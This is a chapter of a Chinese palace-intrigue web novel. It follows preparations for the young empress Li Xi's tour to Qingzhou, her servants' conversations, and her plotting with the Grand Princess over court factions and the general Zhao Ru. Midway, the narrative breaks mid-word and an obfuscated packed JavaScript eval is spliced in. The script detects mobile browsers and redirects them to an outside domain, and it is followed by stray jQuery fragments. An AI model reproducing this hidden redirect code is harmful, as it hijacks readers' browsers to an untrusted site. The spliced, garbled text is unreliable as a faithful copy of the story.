13. 如此专情

作品:《傀儡女帝她不想装了

    天子出巡不是小事,依旧例是应当张榜告示天下,以示国威的。但一来因为李希还不是什么正经权柄在握的皇帝,暂且没有理由做太大排场,二来此行若是太过招摇,也恐天灾的流言反受助长。


    于是此行便采取了一种半低调半公开的形式,仅朝中与各地州牧得了示下。


    华晋得了太皇太后旨意,被特封为“太卜使”,位同太卜令丞,将与李希同行。


    这样一来,她竟莫名成了与女学关联的有史以来第一位封官的女子,也是当朝除尹宛之外的第二位正经的女臣。虽官位低微且边缘,但对女学而言是一、大振奋。


    振奋之余,各派又都有各派的不满,世族之流不满这第一位女臣不是如料想般出自自家,明党又多是更为厌恶女子为官,挤占本就不多的官位这事本身,只是因着华晋勉强算寒门出身才未曾发作。


    但也因此,朝中对这破格的旨意竟无太多反对的声响。


    另一头,长明宫中已启动此次出巡的筹备。


    温儒身为御府令,在此事上算职责之内。可他身上有伤,在长明宫中更不算自家人,余诃子乐得劝他别插手。


    可他非要!


    倘若去拦,他还仗着有伤“嗷嗷”碰瓷,一来二去叫长明宫人都不敢靠近他,只能由得他忙上忙下。


    几日之后,余诃子在旁看着一声长叹:


    “你这是何苦啊。”


    温儒浅浅一笑:


    “此行我也要同去,左右多安排些,也好路上帮得上大家的忙。”


    余诃子一惊:


    “你去做什么?这些日子上蹿下跳的,你那伤口都不知裂了几次,出巡舟车劳顿,你这身子扛得住吗?”


    “我可以。”他停了挺胸自信道。


    余诃子撇嘴:


    “行吧,你自己都不在意,我们这些旁人又如何管得着。”


    温儒察觉她话里有些气性,忙安抚道:


    “阿余岂是旁人,是我太过任性,阿余多担待。”


    余诃子揣着手,优雅地白他一眼:


    “知错但永远不改。”


    罢了她没忍住问道:


    “你很想出宫吗?”这几日这温吞的青年好似格外的亢奋。


    温儒核理单子的动作一顿,旋即道:


    “兴许是有一些,阿余不提我都未察觉。”


    余诃子在一旁坐下,也拿起剩下的单子翻看。


    “出宫有什么好的?”她想到便兴致缺缺。


    温儒却抬着眼望向远处。


    “宫外有许多好风景的。而且,”他迟疑了一瞬,对上余诃子沉静的眸子才到,“我其实本就是青州出身。”


    余诃子微愕。这在探来的消息里是没有的,只说这温儒来自民间,是为养活家中母亲与妹妹,拿自己换了银钱,但走好运因为识字会数算,一进宫就到了温逊底下,后来一路顺当。


    “这倒是巧了。那此次你要顺道回去探亲吗?”


    温儒摇摇头:


    “出巡是公事,我岂能因私擅离职守。”


    “你若提,主上会同意的。想来你义兄也会同意。”


    温儒还是摇头。


    这余诃子便懂了,这是近乡情怯。


    温儒见她不再问,抬头看了看,疑惑道:


    “阿余呢?应当也许多年不曾出宫,便不想出去走走吗?”


    “不想。”她没有丝毫停顿,随即抬眼淡淡道,“你的‘宫外’,与我的‘宫外’,并不相同。”


    她不知温儒进宫前的家人、处境如何,才会叫他此时露出那样向往又情怯的神情,但“宫外”对她来说,都只是散发着恶臭的淤泥。


    她甚至已经不记得那外头的太阳,因为外头在她看来是永夜。


    余白青在边疆的广阔天地间,似乎已经摆脱了那些阴影,余诃子为她高兴。但她深知,属于她自己的某个部分,依然被紧锁在幼年蜀地的大山中,不见天日。


    青州的风景许是不同的。只是世道依然是那个世道。


    温儒瞧她神情,自知不该再问了。


    与此同时,大长公主府中还随侍着另一个“余诃子”。


    大长公主李湛是这世间极少数知道李希与赵如关系的人,连带着也知道李希这长使,有分身。


    她端起茶杯饮了一口,目光往穿着余诃子衣服的余白青身上上下一瞟。


    “你们姐妹二人越发不像了,往后这交换的法子还得慎用。”


    余白青闻言在紧绷的衣服里不自在地动了动,感觉浑身肌肉都在被挤压。


    一旁李希还在读赵如送来的信,抽着空答道:


    “正是因此,白青如今不好再随意出入宫里了,只好来叨扰姑母。”


    李湛不咸不淡地道:


    “那往后你们传讯还都得来我这儿不成?”说着讽笑了一声,“到我这儿多了,你也不怕朝上斥你作风不检点?”


    李希抬眼,目光狡黠而锐利:


    “姑母多虑了,也就眼下。等我从青州回来,便可亲政了,自无须再躲躲藏藏。”


    李湛一怔:


    “你果然有成算。”她恍然道,“竟这么快吗?真有把握?”


    “多少有些。”她向来不爱把话说得太满。


    但李湛听过却觉十拿九稳了,当下便乐了起来。


    李希又续道:


    “便是朝上真闹起来又有何??。我好歹是个皇帝,古往今来哪个皇帝‘检点’,我这不正是向他们最最珍爱的古制看齐吗?”


    李湛仰首大笑:


    “不愧是你李不闻,焉怪姑母我最喜欢你!”


    “总得叫他们知道,我在是女子之前,先是皇帝。”李希理所应当道,“更何况姑母于我是再造之恩,情同再生之母,女儿肖母,有错吗?”


    这下李湛忙是摆手拒绝:


    “这可不必。我自认无能,可生不出你这么厉害的女儿。你呀,就应当投生在母亲的肚子里!”她所说的母亲是姚婴,也是她生母姚夫人的姐姐。


    “那岂不是乱了辈分了。”余白青恍惚在一旁喃喃,引得另外两人都超她觑了一眼。她果断收声。


    那头李湛收回目光又叹了一声:


    “你若是母亲的女儿,根本不需要经历那些坎坷,母亲必会将一切给你捧上。”


    李希听了只是皱眉,心想但凡能捧上来的,通常都不大好拿住,反倒不如像现在这样,自己抢。


    李


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386357|184013||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    湛瞧她神色便知她不认同,也未再说什么,只是起身兴味盎然地提了句:


    “你去青州若是碰上什么……”俊俏儿郎。


    “必然给姑母带回来。”李希十分自觉地接话。


    姑母满意地点点头,随即很是怅然地叹道:


    “姑母一个女子不容易,自你姑父死后孤孤单单这么多年,府里上上下下也就那么百来个男子,来来去去的。”她拭了拭莫须有的泪,“姑母常觉冷寂,好在姑母知道你有孝心,见不得姑母如此凄凉。”


    说着便莲步轻挪走了出去,裙摆散开成荡漾的花。


    李希瞧着她愉快的背影轻笑了声。


    余白青在一旁感到震撼:


    “大长公主真是……”


    李希抬了抬眉,很是理解道:


    “可不嘛,这么多年姑母也就这么一个爱好,如此专情。”


    余白青闭嘴了,她本以为奇怪的是大长公主,这样看来,奇怪的是她自己。


    李希看完了赵如的信,皱眉将帛书放进灯盏里燃尽。


    “无拂说了什么要紧的吗?”余白青问。信是她带来的,但她自不会擅自去看。


    李希叹了口气:


    “她在赵府脱不得身,她父兄又在迫她给赵氏子侄安插军职了。更荒唐的是,他们想要她借此次军功,把她兄长捧上越骑校尉之职。”


    余白青大愕:


    “这不是痴人说梦吗?”


    且不说军功是赵如的,和她那在京中花天酒地享乐无极的兄长没有半分干系,赵如现下是镇西将军,属中朝直派的外征军,而越骑校尉乃京师军。


    如今的京师军分为三部,其一,殿卫军在郎中令辖下,为姚婴所掌;其二,宫卫军属卫尉温逊所辖。其三,城卫军下有八校尉,值守长安内外,分属姚党、明党、陶党三派。那越骑校尉如今空悬,正是因原属姚党的前任越骑校尉在“晋王谋逆案”时身亡,眼下三派尚未在继任人选上达成一致。


    这局势之下,赵如一个外将想插手如此要职,是活腻了不成。赵家能提这样的要求属实又蠢又坏。


    可李希和余白青怕的就是以赵如那一面对家里就软的性子,再加上她对朝局向来极不敏感,搞不好就真的顺着她父兄的意思,上表去要那职位。


    “白青,你定要拦住她。”她说着已经提笔给赵如回信劝阻,一边又问起,“她信中未说起收服塔尔木之事,可有与你私下提及?”


    余白青点头道:


    “这事她已找太皇太后问过。太皇太后只说那羌地不过荒芜凋敝的不毛之地。大魏驱逐匈奴安定北域,此后裁军休养生息不过二十年,好不容易近年国库充盈,不应将国力耗费在整治蛮荒之上。而羌地既无水田也无沃土,唯一可取仅是战马。但如今大魏不兴兵事,握着那疆域反要反哺,并不值当。”


    说罢她评道:


    “许是因为和主上此前与我们分析的一致,将军就未在信中提了。”


    李希垂头书写着,却听出余白青语气中有一丝犹疑:


    “白青有话要说?”


    “我有些难受。”果然听她犹豫道,“我知道主上往后的打算,但往后非要无拂兴兵西羌不可吗?这样真的好吗?”